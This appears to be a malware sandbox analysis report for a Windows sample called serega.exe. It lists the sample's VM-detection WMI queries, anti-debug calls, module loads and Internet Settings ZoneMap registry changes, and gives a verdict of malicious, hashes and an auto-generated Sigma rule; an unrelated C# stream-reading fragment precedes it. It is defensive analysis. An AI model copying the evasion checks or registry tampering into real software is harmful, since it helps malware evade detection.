
		public static ulong ReadLebUlong(Stream stream)
		{
			byte[] array = new byte[8];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToUInt64(array, 0);
		}
	}

Screen recording

20 frames · screen recording · 166s
Screen recording frame
1 / 20
0:00 · 1/20
Download this recording Download video (.mp4) Download GIF (.gif) Building the file runs an encode on this platform, so it is kept to signed-in accounts. Signing in brings you back to this report.

Behavior summary

ran 166s

27 process(es) observed

LaunchedC:\Users\user\Desktop\serega.exe
Privilegestandard
Telemetry sources: Kernel ETW (0 events) agent poll: 40Process audit: 28In-process monitor: 417Autostart diff: 42

Evasion / anti-analysis checks

4 checks
HIGH
VM-detection query: Win32_VideoController dynamic-query
MITRE T1497.001 · wmi
HIGH
VM-detection query: Win32_DiskDrive dynamic-query
MITRE T1497.001 · wmi
HIGH
VM-detection query: Win32_Processor dynamic-query
MITRE T1497.001 · wmi
HIGH
VM-detection query: Win32_PnPEntity dynamic-query
MITRE T1497.001 · wmi

Statically visible checks (RDTSC/CPUID/red-pill instructions, anti-debug APIs) plus runtime evasion signals. Instruction-level interception at runtime requires hypervisor introspection (VMI).

Anti-analysis API trace

3 APIs · 10 processes hooked

Calls counted inside the running sample by in-process hooks. Scored means the call crossed the threshold that separates a deliberate check from what ordinary software does; a call that scored nothing is still listed, with the reason.

APISignalCallsSleepScored
GetTickCount timing 100 - no corroborates, never convicts on its own - ordinary software calls this
GetTickCount64 timing 100 - no corroborates, never convicts on its own - ordinary software calls this
IsDebuggerPresent anti_debug 1 - no one call only, which some build configurations make at startup without asking the question
Call order 112 events sampled
GetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountIsDebuggerPresentGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountIsDebuggerPresentGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountIsDebuggerPresentGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountIsDebuggerPresentGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountIsDebuggerPresentGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64IsDebuggerPresentGetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountGetTickCount64GetTickCountIsDebuggerPresent

How to read the numbers: a repeated call is sampled at 1, 10, 100 and so on while the run is live and made exact when the process exits, so a count is a floor and not a total. The count kept for a name is the highest a single process reported, not a sum across the process tree. The hooks are placed a few seconds after a process starts, so a check made in the first moments of a launch is missed - and a sample that exits in those first seconds is never watched at all.

Module loads

60 notable · 128 from system directories

Modules the sample asked for by name while it ran, recorded inside its own process. Loads from system and installed-program directories are counted but not listed - what is listed is a module from somewhere else, a load that failed, or one whose loader is the question.

ProcessModuleLoadedWhy listed
serega.exe 4132 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 4132 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 4132 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 4132 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 3648 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 3648 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 3648 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 740 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 740 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 740 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 740 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5292 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5292 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5292 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5292 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5388 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5388 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5388 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5388 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5540 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5540 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5540 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5540 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5628 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5628 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5628 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5628 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5720 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5720 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5720 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5720 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5820 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5820 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5820 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5820 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 6104 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 6104 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 6104 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 6104 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5224 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5224 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5224 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5224 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5280 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5280 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5280 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5280 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 4320 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 4320 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 4320 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 4320 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 524 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 524 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 524 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 524 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5684 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed
serega.exe 5684 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll no the load failed
serega.exe 5684 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… yes outside the system and installed-program directories
serega.exe 5684 C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll yes a module whose loader is the question
serega.exe 5696 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… no the load failed

What this list cannot say: only an explicit LoadLibrary call is recorded, so a module the sample brought in through its own import table never appears here - absence from this list is not absence from the process. There is no signature check behind these rows, so an unlisted module is not a module that was verified. The hooks are placed a few seconds after a process starts, so the first loads of a launch are missed.

WMI activity

5 classes

WMI classes the sample queried, captured from the WMI-Activity trace and attributed to the sample process tree. Hardware/identity classes also surface as VM-detection checks above.

Win32_OperatingSystemWin32_VideoControllerWin32_DiskDriveWin32_ProcessorWin32_PnPEntity

WMI method invocations

1 call

Methods the sample invoked through WMI, with their arguments. A process created this way is spawned by the WMI provider host, so the operating system records no parent link back to the sample - the caller is named by the WMI-Activity trace and the argument is captured in the calling process itself.

Connect pid 2832

Command lines, unwrapped

3 read

3 captured texts were read and unwrapped locally. No address was recovered from any of them, and none of them was hiding its own contents behind an encoding or a format string. This is a result, not a gap.

Network activity

The network section is a paid-plan layer: the DNS the sample resolved, the connections it opened, the TLS it negotiated, and the rule engine's reading of the capture.

This run was captured, and what it captured is on a paid plan rather than absent. An internet-connected detonation is the same plan, so a paid run also shows what the sample reached rather than only what it tried.

See plans Create an account

Process tree

What ran during the detonation, and what each process did. Select a node to see the activity attributed to it.

27processes
4registry operations

serega.exe

27 processes
27 processes

Attributed activity

Not attributed to any process

1 kind

These operations were captured but carry no pid this tree could match, so they are not shown against any node above.

Registry operations42
0Mechanisms found
90Methods checked
0ATT&CK techniques
NONEHighest severity

Persistence mechanisms

clean

No persistence established

None of the 90 auto-start methods below were established during this run.

Detection coverage

0 / 90

Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean, and one the sample only names in its own strings reads "named" rather than "detected".

Logon & Startup 22 clean
  • Active Setup Installed Component T1547.014 clean
  • Explorer Delay-Load Object T1547.001 clean
  • Explorer Run Key T1547.001 clean
  • Explorer SharedTaskScheduler T1547.001 clean
  • Group Policy Extension DLL T1547.004 clean
  • Group Policy Run Key T1547.001 clean
  • Logon Script T1037.001 clean
  • RDP WDS Startup Program T1547.001 clean
  • Registry Run Key T1547.001 clean
  • Registry RunEx Key T1547.001 clean
  • Registry RunOnce Key T1547.001 clean
  • Registry RunOnceEx Key T1547.001 clean
  • Registry RunServices Key T1547.001 clean
  • Startup Folder Item T1547.001 clean
  • Startup Folder Redirection T1547.001 clean
  • Terminal Services Initial Program T1547.001 clean
  • Winlogon GINA DLL T1547.004 clean
  • Winlogon MPNotify Value T1547.004 clean
  • Winlogon Notify Package T1547.004 clean
  • Winlogon Shell Value T1547.004 clean
  • Winlogon Taskman Value T1547.004 clean
  • Winlogon Userinit Value T1547.004 clean
Services & Tasks 9 clean
  • BITS Job T1197 clean
  • Print Monitor DLL T1547.010 clean
  • Print Processor DLL T1547.012 clean
  • Scheduled Task T1053.005 clean
  • Scheduled Task Registry Implant T1053.005 clean
  • Service Control Manager Security Descriptor T1574.011 clean
  • Service DLL Hijack T1543.003 clean
  • Time Provider DLL T1547.003 clean
  • Windows Service Creation T1543.003 clean
Execution Hijack 17 clean
  • .NET Managed Debugger T1546.012 clean
  • Accessibility Tool Hijack T1546.008 clean
  • AeDebug Postmortem Debugger T1546.012 clean
  • App Paths Hijack T1546.012 clean
  • Application Shim Database T1546.011 clean
  • Boot Verification Program T1547.002 clean
  • Command Processor AutoRun T1546.011 clean
  • Explorer Load Value T1547.001 clean
  • Explorer MyComputer Tool Hijack T1546.001 clean
  • Registry Image File Execution Options T1546.012 clean
  • Screensaver Hijack T1546.002 clean
  • Setup ErrorHandler Script T1546 clean
  • Shell Open Command Hijack T1546.001 clean
  • SilentProcessExit Monitor T1546.012 clean
  • Telemetry Controller Command T1546.015 clean
  • WER ReflectDebugger T1546.012 clean
  • Windows Error Reporting Debugger T1546.012 clean
DLL Load Order 12 clean
  • .NET CLR Profiler DLL T1574.012 clean
  • .NET Startup Hook DLL T1574 clean
  • AppCert DLLs T1546.009 clean
  • AppInit DLLs T1546.010 clean
  • AutodialDLL Winsock Injection T1546.006 clean
  • DLL Search-Order Hijack T1574.001 T1574.002 clean
  • DNS Server Plugin DLL T1574.001 clean
  • HTML Help Helper DLL T1546 clean
  • KnownDLLs Manipulation T1574.001 clean
  • Natural Language Platform DLL Override T1546 clean
  • Netsh Helper DLL T1546.007 clean
  • Winsock Layered Service Provider T1546.006 clean
COM & Browser 6 clean
  • Browser Extension T1176 clean
  • Browser Helper Object T1176 clean
  • COM Server Hijack T1546.015 clean
  • HTML Help COM Object Hijack T1546.015 clean
  • Shell Context Menu Handler T1546.001 clean
  • Shell Extension Handler T1546.001 clean
Security Providers & Accounts 11 clean
  • Account RID Hijack T1098 clean
  • AMSI Provider T1562.001 clean
  • Credential Provider T1547.014 clean
  • DSRM Admin Logon Backdoor T1556 clean
  • Hidden Local Account T1136.001 clean
  • LSA Authentication Package T1547.002 clean
  • LSA Extension DLL T1547.005 clean
  • LSA Notification Package T1547.005 clean
  • LSA Security Package T1547.005 clean
  • Network Provider DLL T1556.008 clean
  • Security Support Provider T1547.005 clean
Scripting & Applications 9 clean
  • Netsh Port Proxy T1090.001 clean
  • Office Add-in T1137.006 clean
  • Office Executable Sideload T1574.002 clean
  • Office Startup Template T1137.001 clean
  • Office Test Key T1137.002 clean
  • Power Automate Flow T1546 clean
  • PowerShell Profile T1546.013 clean
  • Windows Terminal Startup Action T1546 clean
  • WMI Event Subscription T1546.003 clean
Boot & Firmware 4 clean
  • BootExecute Native Image T1547.002 clean
  • PlatformExecute Native Image T1547.002 clean
  • SetupExecute Native Image T1547.002 clean
  • UEFI / Bootkit Artifact T1542.003 T1542.001 clean

File activity summary

create 0 write 0 modify 0 delete 0 rename 0

Dropped payload analysis

none kept

The sample ran and none of what it wrote was a payload this run kept and examined. That is a measured absence rather than an unasked question.

File & registry ops

0 file · 4 registry · sample scope
OperationTargetProcess
create
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
certificate storein-process
serega.exe pid 4132
setvalue
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
ProxyBypass = 1
certificate storein-process
serega.exe pid 4132
create
Software\Microsoft\WBEM\CIMOM
kernel trace
serega.exe pid 4132
create
Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
certificate storekernel trace
serega.exe pid 4132
setvalue
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
IntranetName = 1
certificate storein-process
serega.exe pid 5292
setvalue
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet = 1
certificate storein-process
serega.exe pid 5292
setvalue
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect = 0
certificate storein-process
serega.exe pid 5292
create
Software\Microsoft\WindowsSelfhost\FIDs
kernel trace
WerFault.exe pid 5920
create
Software\Microsoft\Windows\CurrentVersion\Flighting\Build
kernel trace
WerFault.exe pid 5920
create
Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters
kernel trace
serega.exe pid 6012
setvalue
System\CurrentControlSet\Services\PptpMiniport
DriverMajorVersion = 1
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasPppoe
DriverMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarp
Start = 2
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\ndproxy
DriverMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarpv6
NdisMajorVersion = 6
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasAgileVpn
NdisMinorVersion = 30
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarpv6
DriverMajorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\NdisWan
DriverMinorVersion = 1
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\PptpMiniport
NdisMajorVersion = 6
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasPppoe
NdisMajorVersion = 6
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\Rasl2tp
DriverMajorVersion = 1
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarpv6
NdisMinorVersion = 84
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\ndproxy
NdisMinorVersion = 30
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\NdisWan
NdisMajorVersion = 6
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarp
NdisMajorVersion = 6
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasSstp
DriverMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\ndiswanlegacy
NdisMajorVersion = 5
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\ndiswanlegacy
NdisMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarp
DriverMajorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\NdisWan
DriverMajorVersion = 1
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasAgileVpn
NdisMajorVersion = 6
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\PptpMiniport
NdisMinorVersion = 30
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\NdisWan
NdisMinorVersion = 30
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarpv6
DriverMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarp
NdisMinorVersion = 84
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasPppoe
NdisMinorVersion = 30
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasAgileVpn
DriverMajorVersion = 1
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\Rasl2tp
NdisMajorVersion = 6
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasSstp
NdisMajorVersion = 6
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasAgileVpn
DriverMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\Rasl2tp
DriverMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasMan\Parameters
MiniportsInstalled = 65535
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasMan
Start = 2
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\Rasl2tp
NdisMinorVersion = 30
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasSstp
DriverMajorVersion = 1
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasPppoe
DriverMajorVersion = 1
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\wanarp
DriverMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasMan
DelayedAutostart = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\PptpMiniport
DriverMinorVersion = 0
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\RasSstp
NdisMinorVersion = 30
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\ndproxy
DriverMajorVersion = 1
autostart diffautostart diff
-
setvalue
System\CurrentControlSet\Services\ndproxy
NdisMajorVersion = 6
autostart diffautostart diff
-

External reputation was not produced for this scan. Threat intelligence enrichment is a paid-plan layer: every extracted indicator - hashes, addresses, hostnames - is checked against the external reputation services. Our own ingested feeds ran on this scan and every result below is theirs. Adding the paid layer adds an external reputation verdict on each indicator, so VirusTotal, MalwareBazaar and filescan.io are listed below as not checked. See plans.

17 answered no 1 could not answer 5 had nothing to check
0Sources with a hit
18Sources queriedof 23 available
470.6kFeed records
1Could not answer

File reputation

4 clear · 3 not checked
SourceChecksResultDetailFeed
MalwareBazaar hash feed File hash clean not in feed 3,003 records
5 minutes ago
MalwareBazaar ransomware feed File hash clean not in feed 3,348 records
3 hours ago
ThreatFox hash IOCs File hash clean not in feed 1,153 records
5 minutes ago
URLhaus payload hashes File hash clean not in feed 1,680 records
5 minutes ago
filescan.io File hash not checked no hash lookup ran for this scan live lookup
MalwareBazaar File hash not checked no hash lookup ran for this scan live lookup
VirusTotal File hash not checked no hash lookup ran for this scan live lookup

Hash lookups only - the sample itself is never uploaded to any third party.

Network indicators

7 clear · 1 could not answer
SourceChecksResultDetailFeed
URLhaus IP / domain / URL feed unavailable 1 observed indicator, none listed no records ingested
blocklist.de IP / domain / URL clean 1 observed indicator, none listed 27.6k records
5 minutes ago
CINS Army IP / domain / URL clean 1 observed indicator, none listed 15k records
5 minutes ago
Emerging Threats IP / domain / URL clean 1 observed indicator, none listed 482 records
5 minutes ago
Feodo Tracker IP / domain / URL clean 1 observed indicator, none listed 5 records
5 minutes ago
IPsum IP / domain / URL clean 1 observed indicator, none listed 19.7k records
5 minutes ago
Phishing.Database IP / domain / URL clean 1 observed indicator, none listed 391.5k records
3 hours ago
ThreatFox IP / domain / URL clean 1 observed indicator, none listed 1,153 records
5 minutes ago

TLS fingerprints

nothing of this kind to check
SourceChecksResultDetailFeed
JA3 / JA4 fingerprint blocklists JA3 / JA4 not checked no TLS client fingerprint observed 97 records
9 hours ago
SSL blocklist Server certificate not checked no server certificate fingerprint is extracted to check live lookup

Detection rules

2 clear
SourceChecksResultDetailFeed
Sigma rules Behavior log clean - 2,275 records
5 hours ago
Signature rules Sample content clean 4 structural rules matched (file properties, not findings) 110 records
5 minutes ago

Tooling catalogs

4 clear
SourceChecksResultDetailFeed
LOLBAS Process image paths clean 27 process image paths, none masqueraded 245 records
5 minutes ago
LOLBootloaders File hash clean not a known vulnerable bootloader 520 records
4 minutes ago
LOLDrivers File hash clean not a known vulnerable driver 2,333 records
5 minutes ago
LOLRMM Names and domains clean 28 name/domain indicators checked, no remote-management tooling 360 records
5 minutes ago

AI analysis

The AI layer is a paid-plan feature. It reads what the other layers produced - the behaviour summary, the call sequence, the indicator list - and writes the narrative and the kill-chain walkthrough.

Nothing is being withheld. This layer did not run for this scan, so there is no result stored behind the lock.

See plans Create an account

2 malicious 0 suspicious 0 info

File indicators

2
SeverityTypeIndicatorDescription
malicious sample_sha256 7d0ddcb5251813bcec7e58b8c26b62174dcd20765dd96639be0357b0699e54f0 Submitted sample (SHA256)
malicious sample_md5 562de6915636d1ee2fbdf220a6ed4ea7 Submitted sample (MD5)

Sigma detections

0 matches of 2275 rules

The Sigma corpus was evaluated against this run's processes, registry, file, network, DNS and script activity. Nothing matched.

Generated rules

Sigma: auto_file_2918_sigma_reg

Auto-generated
title: Auto-generated registry behavior rule (sandbox scan 2918)
id: sandbox-auto-2918-reg
status: experimental
description: Auto-generated from sandbox scan 2918
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains:
            - 'Software\Microsoft\WBEM\CIMOM'
            - 'Software\Microsoft\WindowsSelfhost\FIDs'
            - 'Software\Microsoft\Windows\CurrentVersion\Flighting\Build'
            - 'Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters'
    condition: selection
level: medium

Extracted files

What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.

No extracted files

Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.

Export & download

/s/2918

Structured exports for your SIEM/TIP - ATT&CK Navigator layer, STIX 2.1 bundle, MISP event and a defanged IOC list - are free on every report. The packet capture follows this scan's plan, because a capture is the rawest network output this platform produces.

AI analysis report

An enterprise report with an AI-written executive summary, threat assessment, kill chain, and recommendations, plus the derived evidence (verdict, MITRE ATT&CK, network, file modifications, dropped files, IOCs) and screenshots. The AI narrative is built from derived analysis data only, so the raw sample never leaves the host (no-upload and AI-boundary preserved).

Public analyses of this file

1 run
SubmittedEnvironmentVerdictScore
2026-10-23 15:02 Shown below Windows 10 22H2 Malicious 100/100